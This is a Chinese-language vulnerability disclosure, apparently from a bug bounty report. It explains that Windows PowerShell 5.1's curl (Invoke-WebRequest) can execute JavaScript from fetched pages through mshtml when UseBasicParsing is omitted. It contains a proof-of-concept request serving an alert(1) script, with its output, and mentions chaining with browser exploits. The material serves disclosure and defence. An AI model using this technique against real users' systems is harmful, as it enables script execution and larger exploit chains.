PowerShell 的 curl 在底层使用 Invoke-WebRequest。
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
查看参数 UseBasicParsing 的文档,
此参数已被弃用。从 PowerShell 6.0.0 开始,所有 Web 请求仅使用基本解析。此参数仅为向后兼容而保留,使用它不会对 cmdlet 的操作产生任何影响。
问题出在 PowerShell 的 Invoke-WebRequest cmdlet 的 UseBasicParsing 上。UseBasicParsing 使用基本解析,不会执行任何 JavaScript 代码。它只是读取文本并对其进行解析。
如果未提供此参数,Invoke-WebRequest 会在底层启动 Internet Explorer,并使用 mshtml.HTMLDocumentClass 尝试通过实际执行 HTML 代码来解析它。对托管 JavaScript 代码的网站执行 curl 请求,会导致代码在客户端的浏览器中执行。在我们的案例中也就是 Windows 终端。
mshtml.HTMLDocumentClass 的文档可以在下面找到。
https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument
从上面第一份文档查看生命周期,我们可以看到,
Windows PowerShell 5.1 2016年8月 随 Windows 10 周年更新和 Windows Server 2016 发布,WMF 5.1 PowerShell 6.0 2018年1月20日 2019年2月13日 基于 .NET Core 2.0 构建 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
经过一些调查,我们注意到最新版本的 Windows 11、Server 22 和 25 附带的是旧版本的 PowerShell(5.1,且为默认版本),该版本存在 XSS 攻击漏洞。
全新安装的 Windows Server 22,

攻击非常简单:

PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
你可以发挥创意,执行诸如 open("about:blank") 之类的操作。

还需要考虑的是,这可用于更大的攻击链,例如浏览器漏洞利用,以实现可靠的执行或强制浏览器渲染。
严重性:重要,安全影响:远程代码执行,并获得了 $5,000 的赏金。